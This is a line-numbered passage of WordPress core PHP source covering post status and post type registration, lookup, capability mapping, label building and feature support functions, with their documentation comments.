1086 if ( null === $args->show_in_admin_all_list ) {
1087 $args->show_in_admin_all_list = ! $args->internal;
1088 }
1089
1090 if ( null === $args->show_in_admin_status_list ) {
1091 $args->show_in_admin_status_list = ! $args->internal;
1092 }
1093
1094 if ( null === $args->date_floating ) {
1095 $args->date_floating = false;
1096 }
1097
1098 if ( false === $args->label ) {
1099 $args->label = $post_status;
1100 }
1101
1102 if ( false === $args->label_count ) {
1103 // phpcs:ignore WordPress.WP.I18n.NonSingularStringLiteralSingle,WordPress.WP.I18n.NonSingularStringLiteralPlural
1104 $args->label_count = _n_noop( $args->label, $args->label );
1105 }
1106
1107 $wp_post_statuses[ $post_status ] = $args;
1108
1109 return $args;
1110}
1111
1112/**
1113 * Retrieve a post status object by name.
1114 *
1115 * @since 3.0.0
1116 *
1117 * @global array $wp_post_statuses List of post statuses.
1118 *
1119 * @see register_post_status()
1120 *
1121 * @param string $post_status The name of a registered post status.
1122 * @return object|null A post status object.
1123 */
1124function get_post_status_object( $post_status ) {
1125 global $wp_post_statuses;
1126
1127 if ( empty( $wp_post_statuses[ $post_status ] ) ) {
1128 return null;
1129 }
1130
1131 return $wp_post_statuses[ $post_status ];
1132}
1133
1134/**
1135 * Get a list of post statuses.
1136 *
1137 * @since 3.0.0
1138 *
1139 * @global array $wp_post_statuses List of post statuses.
1140 *
1141 * @see register_post_status()
1142 *
1143 * @param array|string $args Optional. Array or string of post status arguments to compare against
1144 * properties of the global `$wp_post_statuses objects`. Default empty array.
1145 * @param string $output Optional. The type of output to return, either 'names' or 'objects'. Default 'names'.
1146 * @param string $operator Optional. The logical operation to perform. 'or' means only one element
1147 * from the array needs to match; 'and' means all elements must match.
1148 * Default 'and'.
1149 * @return array A list of post status names or objects.
1150 */
1151function get_post_stati( $args = array(), $output = 'names', $operator = 'and' ) {
1152 global $wp_post_statuses;
1153
1154 $field = ( 'names' == $output ) ? 'name' : false;
1155
1156 return wp_filter_object_list( $wp_post_statuses, $args, $operator, $field );
1157}
1158
1159/**
1160 * Whether the post type is hierarchical.
1161 *
1162 * A false return value might also mean that the post type does not exist.
1163 *
1164 * @since 3.0.0
1165 *
1166 * @see get_post_type_object()
1167 *
1168 * @param string $post_type Post type name
1169 * @return bool Whether post type is hierarchical.
1170 */
1171function is_post_type_hierarchical( $post_type ) {
1172 if ( ! post_type_exists( $post_type ) ) {
1173 return false;
1174 }
1175
1176 $post_type = get_post_type_object( $post_type );
1177 return $post_type->hierarchical;
1178}
1179
1180/**
1181 * Determines whether a post type is registered.
1182 *
1183 * For more information on this and similar theme functions, check out
1184 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
1185 * Conditional Tags} article in the Theme Developer Handbook.
1186 *
1187 * @since 3.0.0
1188 *
1189 * @see get_post_type_object()
1190 *
1191 * @param string $post_type Post type name.
1192 * @return bool Whether post type is registered.
1193 */
1194function post_type_exists( $post_type ) {
1195 return (bool) get_post_type_object( $post_type );
1196}
1197
1198/**
1199 * Retrieves the post type of the current post or of a given post.
1200 *
1201 * @since 2.1.0
1202 *
1203 * @param int|WP_Post|null $post Optional. Post ID or post object. Default is global $post.
1204 * @return string|false Post type on success, false on failure.
1205 */
1206function get_post_type( $post = null ) {
1207 $post = get_post( $post );
1208 if ( $post ) {
1209 return $post->post_type;
1210 }
1211
1212 return false;
1213}
1214
1215/**
1216 * Retrieves a post type object by name.
1217 *
1218 * @since 3.0.0
1219 * @since 4.6.0 Object returned is now an instance of `WP_Post_Type`.
1220 *
1221 * @global array $wp_post_types List of post types.
1222 *
1223 * @see register_post_type()
1224 *
1225 * @param string $post_type The name of a registered post type.
1226 * @return WP_Post_Type|null WP_Post_Type object if it exists, null otherwise.
1227 */
1228function get_post_type_object( $post_type ) {
1229 global $wp_post_types;
1230
1231 if ( ! is_scalar( $post_type ) || empty( $wp_post_types[ $post_type ] ) ) {
1232 return null;
1233 }
1234
1235 return $wp_post_types[ $post_type ];
1236}
1237
1238/**
1239 * Get a list of all registered post type objects.
1240 *
1241 * @since 2.9.0
1242 *
1243 * @global array $wp_post_types List of post types.
1244 *
1245 * @see register_post_type() for accepted arguments.
1246 *
1247 * @param array|string $args Optional. An array of key => value arguments to match against
1248 * the post type objects. Default empty array.
1249 * @param string $output Optional. The type of output to return. Accepts post type 'names'
1250 * or 'objects'. Default 'names'.
1251 * @param string $operator Optional. The logical operation to perform. 'or' means only one
1252 * element from the array needs to match; 'and' means all elements
1253 * must match; 'not' means no elements may match. Default 'and'.
1254 * @return string[]|WP_Post_Type[] An array of post type names or objects.
1255 */
1256function get_post_types( $args = array(), $output = 'names', $operator = 'and' ) {
1257 global $wp_post_types;
1258
1259 $field = ( 'names' == $output ) ? 'name' : false;
1260
1261 return wp_filter_object_list( $wp_post_types, $args, $operator, $field );
1262}
1263
1264/**
1265 * Registers a post type.
1266 *
1267 * Note: Post type registrations should not be hooked before the
1268 * {@see 'init'} action. Also, any taxonomy connections should be
1269 * registered via the `$taxonomies` argument to ensure consistency
1270 * when hooks such as {@see 'parse_query'} or {@see 'pre_get_posts'}
1271 * are used.
1272 *
1273 * Post types can support any number of built-in core features such
1274 * as meta boxes, custom fields, post thumbnails, post statuses,
1275 * comments, and more. See the `$supports` argument for a complete
1276 * list of supported features.
1277 *
1278 * @since 2.9.0
1279 * @since 3.0.0 The `show_ui` argument is now enforced on the new post screen.
1280 * @since 4.4.0 The `show_ui` argument is now enforced on the post type listing
1281 * screen and post editing screen.
1282 * @since 4.6.0 Post type object returned is now an instance of `WP_Post_Type`.
1283 * @since 4.7.0 Introduced `show_in_rest`, `rest_base` and `rest_controller_class`
1284 * arguments to register the post type in REST API.
1285 * @since 5.3.0 The `supports` argument will now accept an array of arguments for a feature.
1286 * .
1287 * @global array $wp_post_types List of post types.
1288 *
1289 * @param string $post_type Post type key. Must not exceed 20 characters and may
1290 * only contain lowercase alphanumeric characters, dashes,
1291 * and underscores. See sanitize_key().
1292 * @param array|string $args {
1293 * Array or string of arguments for registering a post type.
1294 *
1295 * @type string $label Name of the post type shown in the menu. Usually plural.
1296 * Default is value of $labels['name'].
1297 * @type array $labels An array of labels for this post type. If not set, post
1298 * labels are inherited for non-hierarchical types and page
1299 * labels for hierarchical ones. See get_post_type_labels() for a full
1300 * list of supported labels.
1301 * @type string $description A short descriptive summary of what the post type is.
1302 * Default empty.
1303 * @type bool $public Whether a post type is intended for use publicly either via
1304 * the admin interface or by front-end users. While the default
1305 * settings of $exclude_from_search, $publicly_queryable, $show_ui,
1306 * and $show_in_nav_menus are inherited from public, each does not
1307 * rely on this relationship and controls a very specific intention.
1308 * Default false.
1309 * @type bool $hierarchical Whether the post type is hierarchical (e.g. page). Default false.
1310 * @type bool $exclude_from_search Whether to exclude posts with this post type from front end search
1311 * results. Default is the opposite value of $public.
1312 * @type bool $publicly_queryable Whether queries can be performed on the front end for the post type
1313 * as part of parse_request(). Endpoints would include:
1314 * * ?post_type={post_type_key}
1315 * * ?{post_type_key}={single_post_slug}
1316 * * ?{post_type_query_var}={single_post_slug}
1317 * If not set, the default is inherited from $public.
1318 * @type bool $show_ui Whether to generate and allow a UI for managing this post type in the
1319 * admin. Default is value of $public.
1320 * @type bool|string $show_in_menu Where to show the post type in the admin menu. To work, $show_ui
1321 * must be true. If true, the post type is shown in its own top level
1322 * menu. If false, no menu is shown. If a string of an existing top
1323 * level menu (eg. 'tools.php' or 'edit.php?post_type=page'), the post
1324 * type will be placed as a sub-menu of that.
1325 * Default is value of $show_ui.
1326 * @type bool $show_in_nav_menus Makes this post type available for selection in navigation menus.
1327 * Default is value of $public.
1328 * @type bool $show_in_admin_bar Makes this post type available via the admin bar. Default is value
1329 * of $show_in_menu.
1330 * @type bool $show_in_rest Whether to include the post type in the REST API. Set this to true
1331 * for the post type to be available in the block editor.
1332 * @type string $rest_base To change the base url of REST API route. Default is $post_type.
1333 * @type string $rest_controller_class REST API Controller class name. Default is 'WP_REST_Posts_Controller'.
1334 * @type int $menu_position The position in the menu order the post type should appear. To work,
1335 * $show_in_menu must be true. Default null (at the bottom).
1336 * @type string $menu_icon The url to the icon to be used for this menu. Pass a base64-encoded
1337 * SVG using a data URI, which will be colored to match the color scheme
1338 * -- this should begin with 'data:image/svg+xml;base64,'. Pass the name
1339 * of a Dashicons helper class to use a font icon, e.g.
1340 * 'dashicons-chart-pie'. Pass 'none' to leave div.wp-menu-image empty
1341 * so an icon can be added via CSS. Defaults to use the posts icon.
1342 * @type string $capability_type The string to use to build the read, edit, and delete capabilities.
1343 * May be passed as an array to allow for alternative plurals when using
1344 * this argument as a base to construct the capabilities, e.g.
1345 * array('story', 'stories'). Default 'post'.
1346 * @type array $capabilities Array of capabilities for this post type. $capability_type is used
1347 * as a base to construct capabilities by default.
1348 * See get_post_type_capabilities().
1349 * @type bool $map_meta_cap Whether to use the internal default meta capability handling.
1350 * Default false.
1351 * @type array $supports Core feature(s) the post type supports. Serves as an alias for calling
1352 * add_post_type_support() directly. Core features include 'title',
1353 * 'editor', 'comments', 'revisions', 'trackbacks', 'author', 'excerpt',
1354 * 'page-attributes', 'thumbnail', 'custom-fields', and 'post-formats'.
1355 * Additionally, the 'revisions' feature dictates whether the post type
1356 * will store revisions, and the 'comments' feature dictates whether the
1357 * comments count will show on the edit screen. A feature can also be
1358 * specified as an array of arguments to provide additional information
1359 * about supporting that feature. Example: `array( 'my_feature', array(
1360 * 'field' => 'value' ) )`. Default is an array containing 'title' and
1361 * 'editor'.
1362 * @type callable $register_meta_box_cb Provide a callback function that sets up the meta boxes for the
1363 * edit form. Do remove_meta_box() and add_meta_box() calls in the
1364 * callback. Default null.
1365 * @type array $taxonomies An array of taxonomy identifiers that will be registered for the
1366 * post type. Taxonomies can be registered later with register_taxonomy()
1367 * or register_taxonomy_for_object_type().
1368 * Default empty array.
1369 * @type bool|string $has_archive Whether there should be post type archives, or if a string, the
1370 * archive slug to use. Will generate the proper rewrite rules if
1371 * $rewrite is enabled. Default false.
1372 * @type bool|array $rewrite {
1373 * Triggers the handling of rewrites for this post type. To prevent rewrite, set to false.
1374 * Defaults to true, using $post_type as slug. To specify rewrite rules, an array can be
1375 * passed with any of these keys:
1376 *
1377 * @type string $slug Customize the permastruct slug. Defaults to $post_type key.
1378 * @type bool $with_front Whether the permastruct should be prepended with WP_Rewrite::$front.
1379 * Default true.
1380 * @type bool $feeds Whether the feed permastruct should be built for this post type.
1381 * Default is value of $has_archive.
1382 * @type bool $pages Whether the permastruct should provide for pagination. Default true.
1383 * @type const $ep_mask Endpoint mask to assign. If not specified and permalink_epmask is set,
1384 * inherits from $permalink_epmask. If not specified and permalink_epmask
1385 * is not set, defaults to EP_PERMALINK.
1386 * }
1387 * @type string|bool $query_var Sets the query_var key for this post type. Defaults to $post_type
1388 * key. If false, a post type cannot be loaded at
1389 * ?{query_var}={post_slug}. If specified as a string, the query
1390 * ?{query_var_string}={post_slug} will be valid.
1391 * @type bool $can_export Whether to allow this post type to be exported. Default true.
1392 * @type bool $delete_with_user Whether to delete posts of this type when deleting a user. If true,
1393 * posts of this type belonging to the user will be moved to trash
1394 * when then user is deleted. If false, posts of this type belonging
1395 * to the user will *not* be trashed or deleted. If not set (the default),
1396 * posts are trashed if post_type_supports('author'). Otherwise posts
1397 * are not trashed or deleted. Default null.
1398 * @type bool $_builtin FOR INTERNAL USE ONLY! True if this post type is a native or
1399 * "built-in" post_type. Default false.
1400 * @type string $_edit_link FOR INTERNAL USE ONLY! URL segment to use for edit link of
1401 * this post type. Default 'post.php?post=%d'.
1402 * }
1403 * @return WP_Post_Type|WP_Error The registered post type object, or an error object.
1404 */
1405function register_post_type( $post_type, $args = array() ) {
1406 global $wp_post_types;
1407
1408 if ( ! is_array( $wp_post_types ) ) {
1409 $wp_post_types = array();
1410 }
1411
1412 // Sanitize post type name
1413 $post_type = sanitize_key( $post_type );
1414
1415 if ( empty( $post_type ) || strlen( $post_type ) > 20 ) {
1416 _doing_it_wrong( __FUNCTION__, __( 'Post type names must be between 1 and 20 characters in length.' ), '4.2.0' );
1417 return new WP_Error( 'post_type_length_invalid', __( 'Post type names must be between 1 and 20 characters in length.' ) );
1418 }
1419
1420 $post_type_object = new WP_Post_Type( $post_type, $args );
1421 $post_type_object->add_supports();
1422 $post_type_object->add_rewrite_rules();
1423 $post_type_object->register_meta_boxes();
1424
1425 $wp_post_types[ $post_type ] = $post_type_object;
1426
1427 $post_type_object->add_hooks();
1428 $post_type_object->register_taxonomies();
1429
1430 /**
1431 * Fires after a post type is registered.
1432 *
1433 * @since 3.3.0
1434 * @since 4.6.0 Converted the `$post_type` parameter to accept a `WP_Post_Type` object.
1435 *
1436 * @param string $post_type Post type.
1437 * @param WP_Post_Type $post_type_object Arguments used to register the post type.
1438 */
1439 do_action( 'registered_post_type', $post_type, $post_type_object );
1440
1441 return $post_type_object;
1442}
1443
1444/**
1445 * Unregisters a post type.
1446 *
1447 * Can not be used to unregister built-in post types.
1448 *
1449 * @since 4.5.0
1450 *
1451 * @global array $wp_post_types List of post types.
1452 *
1453 * @param string $post_type Post type to unregister.
1454 * @return bool|WP_Error True on success, WP_Error on failure or if the post type doesn't exist.
1455 */
1456function unregister_post_type( $post_type ) {
1457 global $wp_post_types;
1458
1459 if ( ! post_type_exists( $post_type ) ) {
1460 return new WP_Error( 'invalid_post_type', __( 'Invalid post type.' ) );
1461 }
1462
1463 $post_type_object = get_post_type_object( $post_type );
1464
1465 // Do not allow unregistering internal post types.
1466 if ( $post_type_object->_builtin ) {
1467 return new WP_Error( 'invalid_post_type', __( 'Unregistering a built-in post type is not allowed' ) );
1468 }
1469
1470 $post_type_object->remove_supports();
1471 $post_type_object->remove_rewrite_rules();
1472 $post_type_object->unregister_meta_boxes();
1473 $post_type_object->remove_hooks();
1474 $post_type_object->unregister_taxonomies();
1475
1476 unset( $wp_post_types[ $post_type ] );
1477
1478 /**
1479 * Fires after a post type was unregistered.
1480 *
1481 * @since 4.5.0
1482 *
1483 * @param string $post_type Post type key.
1484 */
1485 do_action( 'unregistered_post_type', $post_type );
1486
1487 return true;
1488}
1489
1490/**
1491 * Build an object with all post type capabilities out of a post type object
1492 *
1493 * Post type capabilities use the 'capability_type' argument as a base, if the
1494 * capability is not set in the 'capabilities' argument array or if the
1495 * 'capabilities' argument is not supplied.
1496 *
1497 * The capability_type argument can optionally be registered as an array, with
1498 * the first value being singular and the second plural, e.g. array('story, 'stories')
1499 * Otherwise, an 's' will be added to the value for the plural form. After
1500 * registration, capability_type will always be a string of the singular value.
1501 *
1502 * By default, seven keys are accepted as part of the capabilities array:
1503 *
1504 * - edit_post, read_post, and delete_post are meta capabilities, which are then
1505 * generally mapped to corresponding primitive capabilities depending on the
1506 * context, which would be the post being edited/read/deleted and the user or
1507 * role being checked. Thus these capabilities would generally not be granted
1508 * directly to users or roles.
1509 *
1510 * - edit_posts - Controls whether objects of this post type can be edited.
1511 * - edit_others_posts - Controls whether objects of this type owned by other users
1512 * can be edited. If the post type does not support an author, then this will
1513 * behave like edit_posts.
1514 * - publish_posts - Controls publishing objects of this post type.
1515 * - read_private_posts - Controls whether private objects can be read.
1516 *
1517 * These four primitive capabilities are checked in core in various locations.
1518 * There are also seven other primitive capabilities which are not referenced
1519 * directly in core, except in map_meta_cap(), which takes the three aforementioned
1520 * meta capabilities and translates them into one or more primitive capabilities
1521 * that must then be checked against the user or role, depending on the context.
1522 *
1523 * - read - Controls whether objects of this post type can be read.
1524 * - delete_posts - Controls whether objects of this post type can be deleted.
1525 * - delete_private_posts - Controls whether private objects can be deleted.
1526 * - delete_published_posts - Controls whether published objects can be deleted.
1527 * - delete_others_posts - Controls whether objects owned by other users can be
1528 * can be deleted. If the post type does not support an author, then this will
1529 * behave like delete_posts.
1530 * - edit_private_posts - Controls whether private objects can be edited.
1531 * - edit_published_posts - Controls whether published objects can be edited.
1532 *
1533 * These additional capabilities are only used in map_meta_cap(). Thus, they are
1534 * only assigned by default if the post type is registered with the 'map_meta_cap'
1535 * argument set to true (default is false).
1536 *
1537 * @since 3.0.0
1538 *
1539 * @see register_post_type()
1540 * @see map_meta_cap()
1541 *
1542 * @param object $args Post type registration arguments.
1543 * @return object Object with all the capabilities as member variables.
1544 */
1545function get_post_type_capabilities( $args ) {
1546 if ( ! is_array( $args->capability_type ) ) {
1547 $args->capability_type = array( $args->capability_type, $args->capability_type . 's' );
1548 }
1549
1550 // Singular base for meta capabilities, plural base for primitive capabilities.
1551 list( $singular_base, $plural_base ) = $args->capability_type;
1552
1553 $default_capabilities = array(
1554 // Meta capabilities
1555 'edit_post' => 'edit_' . $singular_base,
1556 'read_post' => 'read_' . $singular_base,
1557 'delete_post' => 'delete_' . $singular_base,
1558 // Primitive capabilities used outside of map_meta_cap():
1559 'edit_posts' => 'edit_' . $plural_base,
1560 'edit_others_posts' => 'edit_others_' . $plural_base,
1561 'publish_posts' => 'publish_' . $plural_base,
1562 'read_private_posts' => 'read_private_' . $plural_base,
1563 );
1564
1565 // Primitive capabilities used within map_meta_cap():
1566 if ( $args->map_meta_cap ) {
1567 $default_capabilities_for_mapping = array(
1568 'read' => 'read',
1569 'delete_posts' => 'delete_' . $plural_base,
1570 'delete_private_posts' => 'delete_private_' . $plural_base,
1571 'delete_published_posts' => 'delete_published_' . $plural_base,
1572 'delete_others_posts' => 'delete_others_' . $plural_base,
1573 'edit_private_posts' => 'edit_private_' . $plural_base,
1574 'edit_published_posts' => 'edit_published_' . $plural_base,
1575 );
1576 $default_capabilities = array_merge( $default_capabilities, $default_capabilities_for_mapping );
1577 }
1578
1579 $capabilities = array_merge( $default_capabilities, $args->capabilities );
1580
1581 // Post creation capability simply maps to edit_posts by default:
1582 if ( ! isset( $capabilities['create_posts'] ) ) {
1583 $capabilities['create_posts'] = $capabilities['edit_posts'];
1584 }
1585
1586 // Remember meta capabilities for future reference.
1587 if ( $args->map_meta_cap ) {
1588 _post_type_meta_capabilities( $capabilities );
1589 }
1590
1591 return (object) $capabilities;
1592}
1593
1594/**
1595 * Store or return a list of post type meta caps for map_meta_cap().
1596 *
1597 * @since 3.1.0
1598 * @access private
1599 *
1600 * @global array $post_type_meta_caps Used to store meta capabilities.
1601 *
1602 * @param array $capabilities Post type meta capabilities.
1603 */
1604function _post_type_meta_capabilities( $capabilities = null ) {
1605 global $post_type_meta_caps;
1606
1607 foreach ( $capabilities as $core => $custom ) {
1608 if ( in_array( $core, array( 'read_post', 'delete_post', 'edit_post' ) ) ) {
1609 $post_type_meta_caps[ $custom ] = $core;
1610 }
1611 }
1612}
1613
1614/**
1615 * Builds an object with all post type labels out of a post type object.
1616 *
1617 * Accepted keys of the label array in the post type object:
1618 *
1619 * - `name` - General name for the post type, usually plural. The same and overridden
1620 * by `$post_type_object->label`. Default is 'Posts' / 'Pages'.
1621 * - `singular_name` - Name for one object of this post type. Default is 'Post' / 'Page'.
1622 * - `add_new` - Default is 'Add New' for both hierarchical and non-hierarchical types.
1623 * When internationalizing this string, please use a {@link https://developer.wordpress.org/plugins/internationalization/how-to-internationalize-your-plugin/#disambiguation-by-context gettext context}
1624 * matching your post type. Example: `_x( 'Add New', 'product', 'textdomain' );`.
1625 * - `add_new_item` - Label for adding a new singular item. Default is 'Add New Post' / 'Add New Page'.
1626 * - `edit_item` - Label for editing a singular item. Default is 'Edit Post' / 'Edit Page'.
1627 * - `new_item` - Label for the new item page title. Default is 'New Post' / 'New Page'.
1628 * - `view_item` - Label for viewing a singular item. Default is 'View Post' / 'View Page'.
1629 * - `view_items` - Label for viewing post type archives. Default is 'View Posts' / 'View Pages'.
1630 * - `search_items` - Label for searching plural items. Default is 'Search Posts' / 'Search Pages'.
1631 * - `not_found` - Label used when no items are found. Default is 'No posts found' / 'No pages found'.
1632 * - `not_found_in_trash` - Label used when no items are in the trash. Default is 'No posts found in Trash' /
1633 * 'No pages found in Trash'.
1634 * - `parent_item_colon` - Label used to prefix parents of hierarchical items. Not used on non-hierarchical
1635 * post types. Default is 'Parent Page:'.
1636 * - `all_items` - Label to signify all items in a submenu link. Default is 'All Posts' / 'All Pages'.
1637 * - `archives` - Label for archives in nav menus. Default is 'Post Archives' / 'Page Archives'.
1638 * - `attributes` - Label for the attributes meta box. Default is 'Post Attributes' / 'Page Attributes'.
1639 * - `insert_into_item` - Label for the media frame button. Default is 'Insert into post' / 'Insert into page'.
1640 * - `uploaded_to_this_item` - Label for the media frame filter. Default is 'Uploaded to this post' /
1641 * 'Uploaded to this page'.
1642 * - `featured_image` - Label for the Featured Image meta box title. Default is 'Featured Image'.
1643 * - `set_featured_image` - Label for setting the featured image. Default is 'Set featured image'.
1644 * - `remove_featured_image` - Label for removing the featured image. Default is 'Remove featured image'.
1645 * - `use_featured_image` - Label in the media frame for using a featured image. Default is 'Use as featured image'.
1646 * - `menu_name` - Label for the menu name. Default is the same as `name`.
1647 * - `filter_items_list` - Label for the table views hidden heading. Default is 'Filter posts list' /
1648 * 'Filter pages list'.
1649 * - `items_list_navigation` - Label for the table pagination hidden heading. Default is 'Posts list navigation' /
1650 * 'Pages list navigation'.
1651 * - `items_list` - Label for the table hidden heading. Default is 'Posts list' / 'Pages list'.
1652 * - `item_published` - Label used when an item is published. Default is 'Post published.' / 'Page published.'
1653 * - `item_published_privately` - Label used when an item is published with private visibility.
1654 * Default is 'Post published privately.' / 'Page published privately.'
1655 * - `item_reverted_to_draft` - Label used when an item is switched to a draft.
1656 * Default is 'Post reverted to draft.' / 'Page reverted to draft.'
1657 * - `item_scheduled` - Label used when an item is scheduled for publishing. Default is 'Post scheduled.' /
1658 * 'Page scheduled.'
1659 * - `item_updated` - Label used when an item is updated. Default is 'Post updated.' / 'Page updated.'
1660 *
1661 * Above, the first default value is for non-hierarchical post types (like posts)
1662 * and the second one is for hierarchical post types (like pages).
1663 *
1664 * Note: To set labels used in post type admin notices, see the {@see 'post_updated_messages'} filter.
1665 *
1666 * @since 3.0.0
1667 * @since 4.3.0 Added the `featured_image`, `set_featured_image`, `remove_featured_image`,
1668 * and `use_featured_image` labels.
1669 * @since 4.4.0 Added the `archives`, `insert_into_item`, `uploaded_to_this_item`, `filter_items_list`,
1670 * `items_list_navigation`, and `items_list` labels.
1671 * @since 4.6.0 Converted the `$post_type` parameter to accept a `WP_Post_Type` object.
1672 * @since 4.7.0 Added the `view_items` and `attributes` labels.
1673 * @since 5.0.0 Added the `item_published`, `item_published_privately`, `item_reverted_to_draft`,
1674 * `item_scheduled`, and `item_updated` labels.
1675 *
1676 * @access private
1677 *
1678 * @param object|WP_Post_Type $post_type_object Post type object.
1679 * @return object Object with all the labels as member variables.
1680 */
1681function get_post_type_labels( $post_type_object ) {
1682 $nohier_vs_hier_defaults = array(
1683 'name' => array( _x( 'Posts', 'post type general name' ), _x( 'Pages', 'post type general name' ) ),
1684 'singular_name' => array( _x( 'Post', 'post type singular name' ), _x( 'Page', 'post type singular name' ) ),
1685 'add_new' => array( _x( 'Add New', 'post' ), _x( 'Add New', 'page' ) ),
1686 'add_new_item' => array( __( 'Add New Post' ), __( 'Add New Page' ) ),
1687 'edit_item' => array( __( 'Edit Post' ), __( 'Edit Page' ) ),
1688 'new_item' => array( __( 'New Post' ), __( 'New Page' ) ),
1689 'view_item' => array( __( 'View Post' ), __( 'View Page' ) ),
1690 'view_items' => array( __( 'View Posts' ), __( 'View Pages' ) ),
1691 'search_items' => array( __( 'Search Posts' ), __( 'Search Pages' ) ),
1692 'not_found' => array( __( 'No posts found.' ), __( 'No pages found.' ) ),
1693 'not_found_in_trash' => array( __( 'No posts found in Trash.' ), __( 'No pages found in Trash.' ) ),
1694 'parent_item_colon' => array( null, __( 'Parent Page:' ) ),
1695 'all_items' => array( __( 'All Posts' ), __( 'All Pages' ) ),
1696 'archives' => array( __( 'Post Archives' ), __( 'Page Archives' ) ),
1697 'attributes' => array( __( 'Post Attributes' ), __( 'Page Attributes' ) ),
1698 'insert_into_item' => array( __( 'Insert into post' ), __( 'Insert into page' ) ),
1699 'uploaded_to_this_item' => array( __( 'Uploaded to this post' ), __( 'Uploaded to this page' ) ),
1700 'featured_image' => array( _x( 'Featured Image', 'post' ), _x( 'Featured Image', 'page' ) ),
1701 'set_featured_image' => array( _x( 'Set featured image', 'post' ), _x( 'Set featured image', 'page' ) ),
1702 'remove_featured_image' => array( _x( 'Remove featured image', 'post' ), _x( 'Remove featured image', 'page' ) ),
1703 'use_featured_image' => array( _x( 'Use as featured image', 'post' ), _x( 'Use as featured image', 'page' ) ),
1704 'filter_items_list' => array( __( 'Filter posts list' ), __( 'Filter pages list' ) ),
1705 'items_list_navigation' => array( __( 'Posts list navigation' ), __( 'Pages list navigation' ) ),
1706 'items_list' => array( __( 'Posts list' ), __( 'Pages list' ) ),
1707 'item_published' => array( __( 'Post published.' ), __( 'Page published.' ) ),
1708 'item_published_privately' => array( __( 'Post published privately.' ), __( 'Page published privately.' ) ),
1709 'item_reverted_to_draft' => array( __( 'Post reverted to draft.' ), __( 'Page reverted to draft.' ) ),
1710 'item_scheduled' => array( __( 'Post scheduled.' ), __( 'Page scheduled.' ) ),
1711 'item_updated' => array( __( 'Post updated.' ), __( 'Page updated.' ) ),
1712 );
1713 $nohier_vs_hier_defaults['menu_name'] = $nohier_vs_hier_defaults['name'];
1714
1715 $labels = _get_custom_object_labels( $post_type_object, $nohier_vs_hier_defaults );
1716
1717 $post_type = $post_type_object->name;
1718
1719 $default_labels = clone $labels;
1720
1721 /**
1722 * Filters the labels of a specific post type.
1723 *
1724 * The dynamic portion of the hook name, `$post_type`, refers to
1725 * the post type slug.
1726 *
1727 * @since 3.5.0
1728 *
1729 * @see get_post_type_labels() for the full list of labels.
1730 *
1731 * @param object $labels Object with labels for the post type as member variables.
1732 */
1733 $labels = apply_filters( "post_type_labels_{$post_type}", $labels );
1734
1735 // Ensure that the filtered labels contain all required default values.
1736 $labels = (object) array_merge( (array) $default_labels, (array) $labels );
1737
1738 return $labels;
1739}
1740
1741/**
1742 * Build an object with custom-something object (post type, taxonomy) labels
1743 * out of a custom-something object
1744 *
1745 * @since 3.0.0
1746 * @access private
1747 *
1748 * @param object $object A custom-something object.
1749 * @param array $nohier_vs_hier_defaults Hierarchical vs non-hierarchical default labels.
1750 * @return object Object containing labels for the given custom-something object.
1751 */
1752function _get_custom_object_labels( $object, $nohier_vs_hier_defaults ) {
1753 $object->labels = (array) $object->labels;
1754
1755 if ( isset( $object->label ) && empty( $object->labels['name'] ) ) {
1756 $object->labels['name'] = $object->label;
1757 }
1758
1759 if ( ! isset( $object->labels['singular_name'] ) && isset( $object->labels['name'] ) ) {
1760 $object->labels['singular_name'] = $object->labels['name'];
1761 }
1762
1763 if ( ! isset( $object->labels['name_admin_bar'] ) ) {
1764 $object->labels['name_admin_bar'] = isset( $object->labels['singular_name'] ) ? $object->labels['singular_name'] : $object->name;
1765 }
1766
1767 if ( ! isset( $object->labels['menu_name'] ) && isset( $object->labels['name'] ) ) {
1768 $object->labels['menu_name'] = $object->labels['name'];
1769 }
1770
1771 if ( ! isset( $object->labels['all_items'] ) && isset( $object->labels['menu_name'] ) ) {
1772 $object->labels['all_items'] = $object->labels['menu_name'];
1773 }
1774
1775 if ( ! isset( $object->labels['archives'] ) && isset( $object->labels['all_items'] ) ) {
1776 $object->labels['archives'] = $object->labels['all_items'];
1777 }
1778
1779 $defaults = array();
1780 foreach ( $nohier_vs_hier_defaults as $key => $value ) {
1781 $defaults[ $key ] = $object->hierarchical ? $value[1] : $value[0];
1782 }
1783 $labels = array_merge( $defaults, $object->labels );
1784 $object->labels = (object) $object->labels;
1785
1786 return (object) $labels;
1787}
1788
1789/**
1790 * Add submenus for post types.
1791 *
1792 * @access private
1793 * @since 3.1.0
1794 */
1795function _add_post_type_submenus() {
1796 foreach ( get_post_types( array( 'show_ui' => true ) ) as $ptype ) {
1797 $ptype_obj = get_post_type_object( $ptype );
1798 // Sub-menus only.
1799 if ( ! $ptype_obj->show_in_menu || $ptype_obj->show_in_menu === true ) {
1800 continue;
1801 }
1802 add_submenu_page( $ptype_obj->show_in_menu, $ptype_obj->labels->name, $ptype_obj->labels->all_items, $ptype_obj->cap->edit_posts, "edit.php?post_type=$ptype" );
1803 }
1804}
1805
1806/**
1807 * Registers support of certain features for a post type.
1808 *
1809 * All core features are directly associated with a functional area of the edit
1810 * screen, such as the editor or a meta box. Features include: 'title', 'editor',
1811 * 'comments', 'revisions', 'trackbacks', 'author', 'excerpt', 'page-attributes',
1812 * 'thumbnail', 'custom-fields', and 'post-formats'.
1813 *
1814 * Additionally, the 'revisions' feature dictates whether the post type will
1815 * store revisions, and the 'comments' feature dictates whether the comments
1816 * count will show on the edit screen.
1817 *
1818 * A third, optional parameter can also be passed along with a feature to provide
1819 * additional information about supporting that feature.
1820 *
1821 * Example usage:
1822 *
1823 * add_post_type_support( 'my_post_type', 'comments' );
1824 * add_post_type_support( 'my_post_type', array(
1825 * 'author', 'excerpt',
1826 * ) );
1827 * add_post_type_support( 'my_post_type', 'my_feature', array(
1828 * 'field' => 'value',
1829 * ) );
1830 *
1831 * @since 3.0.0
1832 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
1833 * by adding it to the function signature.
1834 *
1835 * @global array $_wp_post_type_features
1836 *
1837 * @param string $post_type The post type for which to add the feature.
1838 * @param string|array $feature The feature being added, accepts an array of
1839 * feature strings or a single string.
1840 * @param mixed ...$args Optional extra arguments to pass along with certain features.
1841 */
1842function add_post_type_support( $post_type, $feature, ...$args ) {
1843 global $_wp_post_type_features;
1844
1845 $features = (array) $feature;
1846 foreach ( $features as $feature ) {
1847 if ( $args ) {
1848 $_wp_post_type_features[ $post_type ][ $feature ] = $args;
1849 } else {
1850 $_wp_post_type_features[ $post_type ][ $feature ] = true;
1851 }
1852 }
1853}
1854
1855/**
